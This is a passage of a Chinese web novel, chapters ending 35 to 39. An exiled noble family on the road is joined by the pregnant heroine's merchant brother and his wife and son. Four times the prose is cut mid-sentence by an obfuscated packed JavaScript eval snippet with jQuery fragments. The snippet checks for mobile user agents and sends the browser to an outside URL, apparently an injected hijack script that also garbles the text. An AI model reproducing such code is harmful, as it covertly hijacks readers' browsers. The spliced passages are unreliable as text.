雨势稍缓时两支队伍各分了几个人出去找食材,苏家这头终于不用苏琯璋再钻林子,他的三位哥哥自觉地跟上了队伍。 一群人冒着雨进了山林深处,抓了不少猎物回来,鱼也捞了几桶,总算将午饭和晚饭安排妥当。 好在晚膳用完没过多久雨就停了,翌日天也晴了。 明晃晃的太阳挂在天边,吸足了水分的野草被压弯了身子,有蒸腾的水气溢出。 人眼倒是见不着那水气,只觉着有股被烘过的热乎气,直往人身上扑。 出去探路的两名官兵回来说,地上皆是泥泞,路并不好走。 于是一百多人的队伍又在废庙里待了一个上午。 大抵是因为进了孟夏,日头的火力十分充足,午时过后地上的积水便都被晒干了。 被困在废庙一日有余的一行人这才动身,继续上路。 按昨日商议好的,今日他们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762912|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再专挑深山野林的路走,而是往外出转,赶在晚膳时分转到了官道上。 他们此时正站在十字交叉官道的竖线上。 竖线的那头近在眼前,横线则两头绵延着消失在视野尽头,不知通往何处。 他们自然而然地看着近处,小小的镇子横亘在他们身前。 陈阳从前方往后走过来,指着小小的镇子,问苏琯璋,“我们进去?不过这镇子太小,不知道能不能安置得下我们这些人。” 苏家五个男人里边,苏声是国公爷,面上再如何温和,身上的威严也是掩不住的。 且他驰骋沙场三十多年,身上的杀伐气也是最重的,常惹得同为武人的他心生忌惮。 若非必要,陈阳甚少和他打交道。 余下的四名公子,苏琯璋是他最熟悉的一位;且看苏家人的态度,也都隐隐以苏琯璋的决断为先,倒是都不计较他在这一辈中年纪最小。 于是陈阳有事的时候,自然而然地便来找他商议,相信王虎也是这么想的。 苏琯璋目光随着陈阳手指的方向落在那座镇子上。 说是镇子,占地可能还不如一些比较大的村落。四四方方的围墙,站在这里好似就能看到尽头。 它就叫“四方镇”,名字倒是十分贴切。 有隐隐的马蹄声渐近,听起来离得还远。 “不用麻烦了。”苏琯璋顺着马蹄声传来的方向,转头看着官道的另一头,那里有尘土飞扬。 马车上高高的旗帜,十分张扬地随着风飘扬,在烈日下闪耀着明亮的光。 他已经认出这是宣家三哥宣文晟商队的旗帜。 “有人来接应我们了。”苏琯璋如是说。 闻言,苏家人也走上前来。后头的王虎也穿过人群,走到前头。 一众人都被远处的旗帜吸引了目光。 宣槿妤也认出那面旗帜来了,她站在苏琯璋身侧,不自觉地捏住他的衣角。 苏琯璋回头看她,牵住她的手,包在掌心,温声开口,“应当是三哥来找我们了。” 宣槿妤双眼灿若星辰,用力地点了点头。 这时前方朝众人行来的马车已经近了,她已经认出打马走在前头的人,正是三哥的随身侍卫。 前方的人也看到他们了。 骑在前头的人回头不知道和后面的人说了什么,很快,一匹马越过他朝这边疾驰而来。 这是他们被流放的第五日,宣家三哥宣文晟过来接应他们了。 马儿在离他们丈远的位置停了下来,避免扬起的灰尘落在他们身上。 宣文晟利落地翻身下马。 “三哥哥,”宣槿妤惊喜地对着人叫道,“娘不是说你会在余安府等我们吗?” 她被苏琯璋包在掌心的手雀跃地动来动去,想要挣脱他掌心的束缚。 若非有他在后头稳稳地揽住她的腰,提醒她已经有孕这事,怕宣槿妤这下已经忍不住蹦跳起来了。 “槿妤,慢些。”苏琯璋没放开她,低声提醒,“小心孩子。” 宣槿妤一脸不情愿地站在原地,等着三哥哥朝她快速走过来。 36. 第 36 章 宣文晟很快走过朝两边散开的人群,走到宣槿妤和苏琯璋面前。 他看着衣着简单却依旧明艳照人的妹妹,笑得和煦,“怎么一脸不高兴?不乐意见到哥哥?” 宣槿妤忙摇头,“三哥哥你怎么找过来了?”她没提方才她的莽撞,只转移了话题。 “我在余安府等不到你们。又收到娘亲来信,说你们没有马,也没有马车,就找了过来。”宣文晟说。 他实在不放心有孕的妹妹。 左等右等等不到人,他便寻着母亲信上提到的路线找了过来。 若非突降暴雨,一行人被迫休整了一日,他昨日就该找到他们了。 “三嫂嫂也来了?”宣槿妤十分惊讶。 宣文晟点头,“原本是想让他们跟着商队一起回京的。但你嫂嫂说想见见你,秩哥儿也想念小姑姑了,就带他们一起过来了。” 宣槿妤蹙眉,不赞同地看着他,“三哥哥胡闹。” 宣文晟面色不变,“不会让他们跟着我们一路的。” “我给大哥送了信,让府中来人将你三嫂嫂和秩儿带回京城。别人我不放心。” 宣槿妤才放下心来。 他们说了这么一会儿话,也才想起要见礼的事来。 “三哥。”苏琯璋这时候才抽空叫了人。 宣文晟微微颔首,拍了拍妹夫的肩。 他一直都很满意这个妹婿,如今见着虽然被流放,但妹妹眉眼间的娇气依旧未散,便知他将人照顾得很好。 “宣家三哥。” 苏老夫人他们也走了过来,各自打招呼见礼。 “五弟,以后你要怎么区分我和宣家三哥?” 苏琯文见宣文晟和宣槿妤兄妹叙着旧,自家小弟一句话也插不上去,不由地捅了捅他,好奇地问。 这话将还在说着话的宣文晟、宣槿妤兄妹俩的视线吸引了过来。 苏琯璋倒是淡然,“日后叫你三兄。”他说,假装没看到三哥脸上的不怀好意。 三兄这么难听。 苏琯文收起脸上的戏谑,皱了皱眉,“那你怎么叫大哥和你四哥?” “大哥和四哥的称呼不变,三兄你多担待些。”苏琯璋顶着一张清冷隽秀的脸,温热的嘴唇说出让苏琯文心凉的话来。 他盯着苏琯璋,确认小弟没有在跟自己在开玩笑。 苏琯武乐得看双生兄长的笑话,于是插话道:“五弟叫三堂哥也行,三堂哥比三兄好听。”他怂恿苏琯璋。 谁叫三哥嘴欠,想要看小弟的好戏。 他这回可要站小弟这边。 “他叫你四哥,叫我三堂哥?”苏琯文不可置信地反问道。 这么生分的?他不干。 苏家人“嗤嗤”地笑了起来,尤其是苏琯武,他笑得最大声,惹得孩子们仰着头盯着他看个不停。 苏二婶暗中掐了一把长子的手臂,叫你生事。 被娘亲掐得手疼,苏琯文不敢叫出声,只得认命,“五弟你还是叫我三兄吧!” 宣家三哥是五弟妹胞兄,可不能让小弟叫人叫生分了,还是他这个三哥多担待一些。 唉!他为了小弟,可承受了太多。 知子莫若母,苏二婶一见他这模样就知道他在想些什么,不由对他翻了个白眼。 苏琯文:“……”他都退让了为什么娘亲还要这样埋汰他? 宣文晟见这一家子眉来眼去,小动作不断,也是颇为精彩,忍不住笑出声来,“不然琯璋随槿妤叫,叫我三哥哥也行。” 宣槿妤全程听在耳中,这下也撑不住笑了。 “三哥哥。”她刚开口,瞥了一眼苏琯璋就笑个不停。 哈哈哈,她叫着还行,可不敢想象苏琯璋一口一个“三哥哥”地叫的模样。 她光想想都乐得不行。 她一笑,周围一圈人也都笑开了。 被哄笑中心的苏琯璋倒是很淡然,“三哥说笑了。” 他捏了捏宣槿妤缩在他掌心的手,“且慢些笑,当心岔了气。” 他一声“三哥”,引得苏琯文和宣文晟齐齐看他。二人目光在不经意间交汇,各自眼中都含了笑意。 看来是真要将称呼定下来了,苏琯璋一声“三哥”,两个人都下意识地以为是在叫自己。 “不若叫我文晟哥好了。”宣文晟说道。 苏琯璋已经叫了苏琯文二十多年的三哥,各自都习惯了,怕是难改。且光单独改对苏琯文的称呼也不合适,他听着会伤心的。 而苏琯璋成为他妹夫才三年,叫他三哥的时间也短,相对而言并不难改口。 “文晟哥。”苏琯璋从善如流。 苏琯文冲宣文晟抱拳,“多谢宣家三哥。”谢天谢地,他可不用成为被小弟单独区分称呼的那个人,怪生分的。 宣文晟对他笑得温和。 称呼一定,气氛便也比方才更加热烈。 一行人正热热闹闹地说着话,方才视线尽头那辆马车也加快了速度,这时也已经到了他们跟前。 马车车帘被掀开,露出一颗圆滚滚的小脑袋,“小姑姑。”长得憨头憨脑的小男孩儿探出头来,脆生生地叫人。 宣槿妤忍不住上前一步,“诶”的一声应了。 小男孩儿正是她的小侄子秩哥儿,才满两岁。他们上回见面时还是元宵佳节在宣府里,算算时日,已有三个多月不见面,他竟还认得她这个小姑姑。 车帘后一张美人面也探了出来,对她笑得欢欣,“妹妹。”正是宣文晟的妻子方沅沅。 “三嫂嫂。” 宣槿妤拉着苏琯璋疾步上前,惹得方沅沅迭声叫着,“妹妹,你慢些走。” 见苏琯璋稳住她的步子,方沅沅才放下了心。 宣文晟已经走到马车旁,闻言不赞同地回头看了宣槿妤一眼,“琯璋你别由着妹妹胡来。” 舍不得说宣槿妤,他便只看着她,嘴里说的却是苏琯璋。 宣槿妤“哼”的一声娇嗔,脚步慢了下来。 “这么久没见面,刚见面三哥哥就说我。”她看着刚被宣文晟扶下马车的方沅沅,“三嫂嫂,你要替我教训哥哥。” 方沅沅轻笑,快步上前几步接住她,“好好好,我待会儿就替你教训他。” 这时苏家其余人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762913|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都走上前来了。 宣文晟放下儿子,携着方沅沅和苏家人一一见礼。 宣槿妤只觉得双腿被人抱住,她低头一看,小小一个团儿仰着头,正冲她笑着。 “小姑姑。”秩哥儿又叫了一声。 “秩哥儿。”宣槿妤欢喜地摸着他圆滚滚的脑袋。 “小姑姑抱。”秩哥儿不满足只被小姑姑摸头,冲她张开双手。 若放以前,宣槿妤早就毫不犹豫地将他抱起来了。可这会儿她顾忌着身子,可不敢抱他。 秩哥儿嘴巴撅了起来。 宣槿妤忙慢慢蹲下去,揽住他,“小姑姑抱秩哥儿。” 秩哥儿重又高兴了,抱住宣槿妤的脖子,蹦蹦跳跳的。 苏琯璋眉头一跳,忙半蹲下去,扶住宣槿妤。“秩哥儿别跳。” 宣文晟本和苏声说着话,眼角余光瞥见儿子在妹妹怀里蹦着,也吓了一跳。“秩哥儿别跳。” 二人的声音几乎重合。 这样大的动静惹得旁人都看了过来。 苏琯璋还好,已经尽量稳着声音;宣文晟却是急着出声阻止儿子,一时没控制住音量,声音十分严厉。 秩哥儿被这样的父亲吓到了,眼里顿时就含了一包泪,将头埋进宣槿妤怀里。 “父亲和小姑父都不是在凶秩哥儿。” 宣槿妤拍着他小小的背脊,温声哄他,“小姑姑肚子里有了弟弟妹妹,他们只是在担心小姑姑,没有怪秩哥儿的意思。” 方沅沅也结束和许玉娘的对话,蹲了下去,“秩哥儿可以跳,但不能碰到小姑姑。” 方沅沅没有安慰儿子的意思,只将他从小姑子怀里拉出来,盯着他的眼睛,和他认真地说着话。 “刚刚你在小姑姑怀里蹦蹦跳跳的,差点伤了小姑姑肚子里的弟弟妹妹。所以你父亲和小姑父才出声阻止你的。” 秩哥儿抬头看着宣槿妤,见她面色温和,又去看她的肚子。 宣槿妤将他的小手放在小腹上,那里已经有微不可察的弧度。 “你要和小姑姑跟弟弟妹妹说什么?”方沅沅见儿子已经和缓了神色,便问他。 秩哥儿在宣槿妤腹上摸了摸,“小姑姑,弟弟妹妹,对不起。” “好孩子。”宣槿妤亲了亲他的小脸蛋。 “原来书香世家出来的夫人,是这样教孩子的。”许玉娘若有所思。 倒是不错。 若放他们家,方才那样的情况,孩子不是故意的,说清楚就好了。不会想着还要不知情的小小孩童去道歉。 若孩子调皮,干了坏事,能教就教,听得懂的就多说几遍,听不懂的就打上一顿。不能教的,先打个几顿,再送去军营管教,保管听话。 武将家教出来的孩子都皮实,不过也确实不如文官家,尤其书香门第教出来的孩子文雅。 宣文晟见妻子已经将儿子安抚好,摸了摸他的小脑袋。 秩哥儿依赖地将脸埋进父亲双腿处。 “好了,都别在这里站着了。”宣文晟将手放在儿子头上,轻轻搭着,眼睛看向苏声,“现在是晚膳时分,你们都还没用膳吧?” 37. 第 37 章 一簇烟花猝然绽放在这小小的四方镇城门前,消失在落日余晖之中。 不多时,有“哒哒哒”的马蹄声从宣文晟来时的方向响起,杂乱却不混乱。 比不得军队马匹的训练有素、整齐划一,但也比寻常人家的马群来得有序,听着就十分灵性。 若仔细辨别,还能听见车轮滚在地上的“轱辘轱辘”声,被淹没在杂乱的马蹄声中。 “宣家三哥这是带了多少匹马过来?”苏琯武好奇地问,“竟还有好几辆马车。” 宣文晟还没回答,方沅沅已经惊讶得眼睛微微睁大,“离得这么远,也能听出来?” 她倒是什么也没听见,去看一旁的宣文晟,他只含笑不语。 苏琯武很是客气地对方沅沅点了下头,回道:“习武之人一般都能听出来。” 陈阳在后头听见了,嘴巴张了张。 谁说习武之人一般都能听出来的?不是随便一个习武之人都像你们苏家人一般天赋卓绝的。 至少随行的这八十多人,几乎没有一个是听得出来的。 说来惭愧,他也只听得地面隐隐有颤动声,却是什么也没法辨别出来。 方沅沅对苏琯武笑了笑,又看向妹婿苏琯璋,“我听说妹夫之前也是上过战场的少将军,不知妹夫能否听出来有几匹马、几辆马车?” 她嫁给宣文晟也才三年,成婚时间只比妹妹宣槿妤早了三个月。还在闺中时她从未去过盛京城,自然也少有听闻苏国公府的事。 只在成婚之后,和苏家成为姻亲,才有机会来往一二。 而她多数时间又和宣文晟在外跑商,和这个妹夫也见不了几面,不大了解他的过去。 只听得夫君说过,妹夫以前是少将军,不过与妹妹成婚后便留在了京城,进了大理寺做了少卿。 同样地,苏琯璋对这个和妻子宣槿妤十分亲近的娘家三嫂嫂方沅沅也十分陌生。 见她好奇,便客气地淡淡笑了笑,“马车有五辆,加上套车的马,一共是十匹马。” 几句话的功夫,马蹄声已经比方才近了不少,此时苏家几位上过战场的将军都听了出来。 苏玉启闻言,看了自己的父亲苏琯煜一眼,见他颔首,便绷着一张小脸,继续凝神细听着。 父亲、四叔和小叔叔是怎么听出来的?他什么也没听到。 苏琯煜摸了摸儿子的头。 毕竟还是小孩子,启哥儿被父亲摸了头,眉眼间的欢悦便怎么也止不住了。 方沅沅素来听小姑子宣槿妤抱怨她夫君苏琯璋就是个冷面玉人,是块木头,乍然见他笑了,还愣了下。 又听得他说得分毫不差,心里更是惊讶,“妹夫说得真准。” 官道转角处的竹林有一匹马拐出来,很快就是第二匹、第三匹;而后便见空旷的官道上灰尘大片大片被扬起,落在官道两旁的农田上。 待灰尘稍稍散开,果真见带头五匹马疾驰在官道上,后头五匹马车紧紧跟随。 马上的几人英姿勃发,瞧着不似寻常商队的护卫,更像是世家大族里养出来的侍卫。 陈阳和王虎神色一凛。 他们只听说过宣家大房的三公子不喜读书,当年十八岁中了举子之后就南下经商,这么些年除非逢年过节,否则盛京城中绝不见他的身影。 他们初初听闻宣家三公子会一路跟着护送他嫡亲的妹妹宣小少夫人,去往流放之地广虚府之时,还以为他会只身跟随,顶多带几名护卫仆役。 如今看来,他更像是带了一群侍卫。 队伍组成太繁杂,并不利于他们带队。 不过眼下这当口,二人不好说什么,只默默观察着。 “这四方镇太小了,容不下我们这么些人。”宣文晟说,“我在三里外灵峰山脚下有个庄子,今夜我们就住那里罢?” 他去看明显是带队的陈阳和王虎,视线在二人身上不着痕迹地游移着。 兵部官兵和皇城禁军,竟是素来不合的两支军队出人“护送”被流放的人,而不是刑部差役。 盛誉还真是煞费苦心了。 当了皇帝才三年,政务上不见有什么建树,倒是这帝王心术,是越发纯熟了。 他心里冷哼。 陈阳和王虎对视一眼。 经过昨日爆发的矛盾,和好后他们之间明显是养出了一点默契。 陈阳答应了。 不过丑话得说在前头,眼下正是好时机。 “宣三公子,”他语气十分郑重,“您的行为我们无权干涉,但接下来的行程还是由我们来安排。这点还望公子莫让我们难做。” 他说的是宣文晟跟队的事,这一点尚书大人早已吩咐过他,随人跟着,但不许干涉兵部安排。 如今多了队禁军牵制,他身为兵部之人,更是不能让人抓到什么把柄。 宣文晟的贴身侍卫这时带着先行的五匹马上的人过来了,闻言脸色有些不好。 宣文晟神情却没有任何变化,“当然,我不会让你们为难。” 他将头仍旧埋在他双腿处的儿子抱了起来,“不过,我去哪里也是我的自由,相信你们也不会让我感到不舒服。” 不待陈阳再说话,他往安安静静的儿子脸上一看,顿时笑了,“妹妹你看你侄儿,他站着就睡着了。” 宣槿妤心疼地抬手摸了摸秩哥儿的小脸,“三哥哥你是不是没照顾好秩哥儿?怎么站着就睡着了,可是太累了?” 宣文晟冤枉,“这孩子才病愈,是该多休息,哪里是三哥哥没照顾好他?” “怎么会病了?什么时候的事?可是这几日才病愈的?”宣槿妤有些急,连连发问。 问罢她又忍不住抱怨宣文晟,“那三哥哥你还带着他在外面跑。” 方沅沅暗中拧了宣文晟一把,怎么就说漏嘴了?不是徒惹妹妹担心么? 宣文晟心虚地将儿子的小脸贴在自己颈侧,这不是他见妹妹责怪他,情急之下忘记了么? 真是不靠谱! 方沅沅松开了手,拉着宣槿妤的手安慰,“妹妹别急。秩哥儿只是路上贪吃,吃了些不该吃的东西,闹了一阵子的肚子,这几日也好全了。” 话都说到这里,宣文晟便也索性坦诚了。 “接到家中传信时,我们已经在回京路上。只孩子病了,不敢带他赶路,我便托了商队给母亲带信。” “余安府离京城只一日的路程,我也想着你们也会经过余安府,便和母亲约了在那里会合。”宣文晟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762914|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,有些歉疚,“委屈你了。” 他说的是不赶回京城见她的事。 他还带着妻儿,且孩子才病过一场,刚刚痊愈,他纵使再心急也不敢冒险,所以走得并不快。 “三哥哥说哪里话?再说下去我们兄妹便要生分了。侄子病了,本就该以他为重。何况还是因为我,才连累三哥哥陪我走这一趟。” 宣槿妤说着抱歉地去看方沅沅,“倒是委屈三嫂嫂和秩哥儿,接下来很长一段时日三哥哥都不能陪在你们身边了。” “妹妹这才是说哪里的话?怪客气的,兄妹之间不讲究这个客套。”宣文晟不满地看了宣槿妤一眼。 方沅沅也开口,“是啊!兄妹之间可不许这般客气。” “我和秩哥儿在京城家中有人照顾的。家中孩子们也多,还能给他添几个玩伴。倒是妹妹你,”她怜惜地看着小姑子,“这一路才是苦了你了。” 大盛建朝百余年,还从未出过流放有孕妇人的先例。龙椅上那位倒好,才稳坐皇位,便什么事都做得出来。 也不怕后世之人戳他脊梁骨。 堂堂一国之君,没有一点仁义心肠,刚登基还需要林太傅帮衬的时候倒是一口一个“师妹”叫得亲热。 如今做出来的都是什么事! 宣槿妤摇了摇头,没有说话。 她宁愿怀着身子跟着苏家人流放,也不愿意堕胎入宫为妃,这是她的选择,她不后悔。 夫子说过,落子无悔,自己做下的决定,再是苦再是痛也要咽下去。 何况,这一路,她可没受什么苦。倒是苏琯璋,自打她学会了怎么咬人掐人却不见血之后,可没少受她“折磨”。 就连她唯一动手打人巴掌的两次,也都是让他受了,谁叫他活该。 她瞥了男人一眼,唇边扬起浅浅的笑。 她这一瞥一笑,宣文晟方沅沅夫妻俩便都误会了,以为她是觉得和苏琯璋在一起就不苦;或者妹婿将她照顾得很好,她没受太多苦,于是便没再多说什么。 宣文晟带着妻儿,和苏家人一同登上了马车。 孩子们雀跃地笑着,由着大人们将他们提上马车,五日来终于不用再靠双腿赶路,他们可开心得很。 陈阳不用再让人去前头探路,便带着他的手下走到了马车后头。 五日来,兵部这群官兵们和皇城的禁军们终于不必一头一尾分隔两处,而是走在了一起。 宣槿妤放下车帘,“他们路上当不会再闹起矛盾吧?”她趴在苏琯璋身上,附耳对他说,眼里带着藏不住的促狭。 苏琯璋知她还想着昨日的事,又想起二人谈话最后,她负气出走找祖母说话的结局。于是他有些谨慎地回:“你想看他们闹起来?” 宣槿妤没好气地瞪他一眼。 在他眼里,她就是那等爱看人好戏的坏姑娘吗? 他又说错话了?可她方才说话的时候眼里不是还带着笑吗? “是我说错了,是我想看他们闹起来。”苏琯璋很快改口,声音压得极低。 “就是你说错了。” 宣槿妤“哼”了一声,又笑了起来,点点他,“好你个苏家小公子,平日里看你像个清冷贵公子,却不想心里竟藏着这样的坏心思。” 38. 第 38 章 一旁的宣文晟看着这对夫妻旁若无人咬耳朵的样子,先是一脸的欲言又止。 他们一家三口还在一旁坐着呢!你们小夫妻俩亲热起来倒也不避着点。 而后宣文晟见到妹妹是如何强行倒打一耙的,他脸上的表情便十分精彩起来。 原来妹妹妹婿平日里就是这样相处的? 他看着此时妹婿那张素来没什么表情的脸上浮起无奈却纵容的神色,终于忍不住“噗哈哈”笑出声来。 “妹妹,你平日里就是这么欺负你夫君的?” 宣文晟很少见到小夫妻俩是怎么相处的,多是听妹妹抱怨夫婿的不解风情。 说他沉默寡言、性子沉闷,好听的说法就是像座玉雕,难听一点的,就是块木头桩子。 总之苏琯璋在宣槿妤嘴里说出来,就没一句好话。 有时候方沅沅在一旁听了就觉得,妹妹何须受这样的委屈?干脆和离归家算了,家里也不是不能养她一辈子。 或者再嫁找个能知情识趣的,以妹妹的容貌品行和家世,也不是找不到。 可是宣槿妤和人吵吵闹闹的,倒也过了三年。 到后来方沅沅就迷惑了,妹妹这是在顾忌什么? 宣文晟这时候就只笑笑,没揭穿妹妹的小心思。 他了解自己的妹妹,她若是对人家无意,管他苏家家风再如何好,夫婿容貌再隽秀,再如何年少有为,也入不得她的眼。 而判断是否入她眼的简单法子,便是看那人是否被她挂在嘴上,不管是夸还是损。 不入她眼的人,她连个眼风都懒得给一个。 但他纵是猜测到妹妹和妹婿之间并非妻子所想的那样不合,可能还有几分真感情,可也没想到这二人能当着他们夫妻的面,在马车上就这样亲近起来。 宣文晟这一笑,方沅沅也忍不住笑了。 但她到底是女儿家,心思比男人细腻一些,怕宣槿妤脸上挂不住,她是转过头,用帕子挡着嘴唇笑的。 笑声将宣槿妤和苏琯璋的注意力从彼此身上拉了出来。 宣槿妤没敢去看兄嫂的反应,只动作迅速地从苏琯璋身上挪了下来,端坐一旁,想要假装什么事也没发生。 被流放之后他们常行走在荒山野林之中,出来五日,废庙就住了三日,其中食、住、行几样种种不便可想而知。 荒山有野兽,野林有虫蛇,就连废庙,即便提前用草药熏过,也偶有爬虫出没。 为免惊着宣槿妤,苏琯璋这几日几乎不离她身侧,不是将人抱在身上、背在身后就是揽着她的腰,好在有什么事情发生时第一时间将她护在身后。 是以宣槿妤已经十分习惯在人前和苏琯璋这样亲密,因为旁人也不会多看他们在干什么。 只她忘了,此时他们是身在马车上,旁边坐着的,是她的兄嫂和仍在熟睡中的侄儿。 这是和她血缘关系亲近的亲人,可不会像旁人那般避嫌地不看不听。 这下可好,她可是被兄嫂齐齐笑话了。 宣槿妤白玉似的脸上一点一点地红了起来,像是那天边的晚霞挂在了她腮上,艳丽逼人。 苏琯璋侧身将她身子拉回怀里,挡住了宣文晟和方沅沅揶揄的目光。 “你身子特殊,坐我怀里稳当些。” 他似是在对宣槿妤说着话,但马车上两名成年人都知道,这是解释给他们听的。免得他们再取笑妹妹妹夫的亲近,而让宣槿妤越发害羞。 正说着,马车颠簸了一下。 前头的车夫也开口提醒,“主子们可要坐稳了,昨日暴雨,今日这路上有些不好走。” 他们走的虽是官道,但这穷乡僻壤的地方,除了偶有官差通行,少有人到这里来,官府能够维护官道的正常通行已是十分不易。 至于暴雨过后路上坑坑洼洼,是最正常不过之事了。 马车像是行走在大大小小的泥坑中,便是这辆马车用料上乘经得住颠簸,不至于东倒西歪,此时也禁不住连续晃动着。 宣文晟收了脸上的笑,正色道:“妹夫你可要护好槿妤。”他从妻子手中将儿子接了过来,护着他的头。 苏琯璋微微颔首,将宣槿妤圈在自己怀中,不叫她被颠簸到。 一阵让人不适的摇晃过后,马车终于恢复了平稳。 “没事吧?”苏琯璋问宣槿妤。 宣槿妤摇摇头,她坐在男人腿上,被护得好好的,车身再怎么摇晃,她身子也还是稳稳当当的,没有任何不适。 倒是三嫂嫂,她看着脸色有些不好的方沅沅,“三嫂嫂方才可是磕着哪里了?” 她刚才好像看到三嫂嫂不小心撞到马车车窗上了。 宣文晟也去看妻子。 方沅沅坐稳了身子,“无事,只方才不小心被车窗磕了一下,已经不疼了。” 车窗上包了软包,她方才就是磕在了软包上,并没什么事。 这辆马车明显是经过改造的,十分适合远行,不仅桌椅柜子茶具食盒等一应俱全,就连恭桶也备了一个。 若是将他们背靠着的隔板移开,后头柔软的垫子上还可以睡下两个人。 这辆马车很显然就是为有孕的宣槿妤准备的。 “若是疼就说出来。”宣文晟对妻子说道。 方沅沅瞥了一眼苏琯璋,有些脸热,“我不疼。”她微微有些恼了。 妹夫还在这里呢!他就说什么疼不疼的?她磕在后背,若是真疼,还能让她当着妹夫的面说不成? 宣文晟一脸莫名地看着方沅沅,不疼就不疼,她恼什么了? 宣槿妤缩在苏琯璋怀里,吃吃笑着,打趣兄嫂二人,“三哥哥好生不知趣。”方才这夫妻二人还笑话她,可被她找着机会笑话回来了。 不知趣什么? 宣文晟去看妹妹,宣槿妤却顾忌着三嫂嫂的清誉,不好当着苏琯璋的面说清楚,只一脸坏笑,不再说话了。 宣文晟简直是满头雾水,不就是被马车磕碰到了吗?疼就疼,不疼就不疼。怎么一个恼他,一个嫌弃他不知趣? 他又去看妹夫苏琯璋。 苏琯璋显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762915|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然就没在意发生了什么事,满眼都是宣槿妤,眼风都没给他一个。 宣文晟暗叹自己糊涂,就苏琯璋那样的木讷性子,他能知道什么? 于是他告饶道:“好妹妹,三哥哥方才错了,不该笑话你。” 小祖宗,可要给他个明白话,不然他今晚抓心挠肝的可要睡不着觉了。 宣槿妤才不吃他这一套。 三哥哥惯会油嘴滑舌讨人欢心的,要不然也不会在商道上如鱼得水,还能讨得岳家青睐将三嫂嫂嫁给他这个“不务正业”、弃文从商的世家“纨绔”子弟。 “三哥哥说笑,明明是三嫂嫂恼了你了,怎的来和我致歉?” 宣文晟摸了摸鼻子,得,三个多月不见,妹妹越发伶牙俐齿了。 眼见着丈夫看向自己真要问个清楚明白,生怕丢人的方沅沅忙转移了话题,“妹妹是不知道,我们原在余安府等你们,想着只一日你们就能到的。” “只没想到都过了两日还没有你们的消息,幸好接到母亲的第二封信,才知道你们走了城南那条路。” 宣文晟这些年走南闯北,对大盛各地的舆图都记在脑中,闻言也不由接话,“那条路倒是难行,难为你们走了这几日。” 他暗暗将方才的事记在心中,想着夜里非得好好“盘问”妻子一番不可。 “我还好,就是孩子们遭罪。”宣槿妤说。 宣文晟想起比自己儿子才大上几个月的苏玉慕,禁不住感慨,“苏家家风好,出的孩子都很不错。” 怨不得当初苏琯璋才从漠北战线回到京中,外祖父就急着上门将未来外孙女婿定下来。 苏家世代有不纳妾的规矩,孩子们都是嫡出,隔房之间也极为和睦;且代代男儿不堕武将风骨,代代女儿不输世间男儿,多的是人家想将女儿嫁给苏家男儿,想替自家娶进苏家女儿。 奈何苏家一向只和武将通婚,多少文臣之家关起门来长吁短叹。 说起来,当初苏家和宣家联姻的消息传出去,可惊掉多少人的下巴,暗恨自家怎么就没抢先下手。 多少人更是腹诽林太傅使手段,迫使苏国公同意幼子娶了那抗旨拒婚得罪了当今太子盛誉,导致无人敢上门求娶的宣家姑娘。 不过,这话当时无人敢当面提及,等到太子登上帝位,像是什么事也没发生过一样将宣家姑娘视作师妹,便连私底下也无人再敢提起这事了。 马车里四人正说着话,不远处有两人的对话飘进马车中。 “诶,老刘头,你今日才回来?”中气十足的男人嗓音,像是在朝人喊。 稍微沧桑一点的男声大声回:“可不,昨天就该回家的,可是雨太大,被困在了山上,好不容易才捡回一条命。” “你命大,你家里人也是。” 沧桑的那个声音有点急,他好似听出了男人的言外之意,“柱子,我家里怎么了?是不是出事了?” “就是昨天大雨,你家里进了水,好在人被雷惊醒了,都没事。” …… 声音渐渐远去。 39. 第 39 章 宣槿妤掀开车帘,只见一个腰背微微佝偻的老人和一名体壮的中年男人,在朝东南方向快速走去。 车帘被阖上,她听苏琯璋在问,“文晟哥可知道附近出了什么事了?我听到那人说整个村子被淹了。” 整个村子都被淹了? 是不是死了很多人? 